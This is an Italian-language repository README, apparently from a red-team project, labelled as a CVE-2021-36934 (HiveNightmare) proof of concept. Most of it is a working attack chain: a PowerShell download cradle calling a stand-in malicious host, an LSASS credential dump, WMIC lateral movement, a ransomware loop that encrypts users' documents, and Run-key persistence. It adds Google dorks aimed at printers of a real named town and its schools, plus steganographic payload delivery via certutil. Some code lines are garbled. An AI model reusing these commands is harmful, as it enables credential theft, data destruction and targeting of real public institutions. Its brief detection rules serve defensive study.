
Malware PoC che sfrutta la vulnerabilità CVE-2021-36934 (ACL improprie sulle copie shadow) utilizzando un metodo red team fileless su Windows 10/11 con LOLBins, estraendo i hive SYSTEM e SAM per gli hash NTLM locali.

CVE-2021-36934/HiveNightmare è un progetto di ricerca educativo per red/purple team che simula un framework di attacco malware fileless su Windows 11. Consente l'emulazione di kill chain avversarie reali utilizzando le tecniche di MITRE ATT&CK, con particolare attenzione a operazioni stealth e fileless.
Avvertenza: Solo per ricerca e formazione in laboratori isolati. Non utilizzare su sistemi di produzione o non autorizzati.
La seguente simulazione PowerShell dimostra una tipica catena di attacco ransomware fileless utilizzando strumenti Windows integrati (LOLBins):
# Initial Access: Load dropper
IEX(New-Object Net.WebClient).DownloadString("http://malicious.com/dropper.ps1")
# Execution: Decode and load in-memory payload
$bytes = [System.Convert]::FromBase64String("[Base64Payload]")
[System.Reflection.Assembly]:https://raw.githubusercontent.com/p1rat3r00t/why-so-serious-sam/HEAD/:Load($bytes)
# Privilege Escalation
Start-Process powershell -Args "-ExecutionPolicy Bypass -File C:\Temp\elevate.ps1" -Verb RunAs
# Credential Access
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Temp\lsass.dmp full
# Lateral Movement
wmic /node:targetPC process call create "powershell.exe -File \\share\payload.ps1"
# File Encryption Example
$files = Get-ChildItem -Path "C:\Users\*\Documents" -Include *.docx,*.pdf -Recurse
foreach ($file in $files) {
$data = Get-Content $file.FullName -Raw
$aes = New-Object System.Security.Cryptography.AesManaged
$aes.Key = [Text.Encoding]::UTF8.GetBytes("RANDOM-GEN-KEY-1234567890123456")
$aes.IV = New-Object byte[] 16
$enc = $aes.CreateEncryptor().TransformFinalBlock([Text.Encoding]::UTF8.GetBytes($data), 0, $data.Length)
Set-Content -Path $file.FullName -Value ([Convert]::ToBase64String($enc))
}
# Persistence
Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "ransomware" -Value "powershell -File C:\Temp\persist.ps1"
Obiettivo di esempio: Identificare servizi di stampa esposti pubblicamente a Moberly, Missouri, potenzialmente vulnerabili a exploit come PrintNightmare.
Query Google Dork di esempio:
inurl:"/hp/device/this.LCDispatcher" "Moberly"
intitle:"Printer Status" "Moberly Public Schools"
intitle:"Web Image Monitor" inurl:"/wim" "Moberly"
inurl:"/printer/main.html" "City of Moberly"
intitle:"Web Jetadmin" "Moberly"
inurl:"/printers/" "Moberly"
inurl:"/PPS/public/" "Moberly"
intitle:"Konica Minolta" inurl:"/wcd/" "Moberly"
intitle:"PaperCut MF" "Moberly"
intitle:"Lexmark" inurl:"/printer/" "Moberly"
intitle:"Canon Remote UI" "Moberly"
intitle:"EpsonNet Config" "Moberly"
I Living Off the Land Binaries (LOLBins) sono binari Windows legittimi e fidati, spesso abusati dagli avversari per bypassare i controlli di sicurezza ed eseguire codice malevolo senza lasciare file sul disco.
Esempio di utilizzo (attacco al servizio di stampa):
rundll32.exe \\10.10.X.X\shared\payload.dll,ReflectEntry
Gli aggressori utilizzano LOLBins come
rundll32.exe,regsvr32.exeepowershell.exeper eseguire payload da condivisioni di rete, spesso dopo aver identificato stampanti o server esposti tramite ricognizione.
Obiettivo: Consegnare payload in modo occulto incorporando archivi nelle immagini ed estraendoli con strumenti nativi.
Passaggi:
Incorporare il payload:
copy /b nsfw.jpg + payload.7z nsfw.jpg
Estrarre e decodificare:
certutil -decode nsfw.jpg dropper.7z
7z x dropper.7z -oC:\Users\Public\
Questo metodo bypassa il tradizionale filtraggio delle estensioni file e sfrutta strumenti integrati per una consegna elusiva.
Tecnica: Caricare ed eseguire una DLL malevola direttamente in memoria tramite caricamento riflessivo.
Esempio:
rundll32.exe \\10.10.X.X\share\nsfw.dll,ReflectEntry
Ciò consente un'esecuzione stealth in memoria, senza lasciare artefatti sul disco.
Regole Sysmon + Sigma:
rundll32.exe che carica DLL non di sistemacertutil.exe, regsvr32.exe, mshta.exeEsempi SIEM (ELK/Splunk):
explorer.exe che genera rundll32.exe)Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
Tutti i contenuti, i codici e le tecniche in questo repository sono solo a scopo educativo e per test di penetrazione autorizzati. Non utilizzare alcuna parte di questo progetto al di fuori di ambienti controllati e isolati e senza esplicita autorizzazione. Gli autori non si assumono alcuna responsabilità per un uso improprio.
Rimanete al sicuro, fate ricerca in modo responsabile e utilizzate sempre tutto in maniera legale ed etica.
| Fase | Tecnica | ID | Descrizione |
|---|
| Accesso iniziale | Account validi / Compromissione drive-by | T1078, T1189 | Compromissione delle interfacce di stampa esposte al pubblico |
| Esecuzione | DLL Side-Loading / LOLBins | T1218, T1055.001 | Esecuzione riflessiva di DLL tramite binari fidati |
| Escalation dei privilegi | Exploit di Print Spooler / Abuso degli ACL di Hive | T1068, T1003.002 | Accesso a livello SYSTEM ed estrazione degli hash SAM |
| Evasione delle difese | Esecuzione fileless / File offuscati | T1027, T1202 | Payload codificati consegnati tramite certutil, mshta, ecc. |
| Accesso alle credenziali | Dump LSASS / Accesso all'hive SAM | T1003 | Dump delle credenziali dopo HiveNightmare |
| Movimento laterale | Enumerazione delle condivisioni SMB/Net | T1021.002 | Diffusione tramite condivisioni di stampa o enumerazione dello spooler |
| Impatto | Distruzione dei dati / Crittografia | T1485, T1486 | Wiperware fileless attivato tramite payload DLL |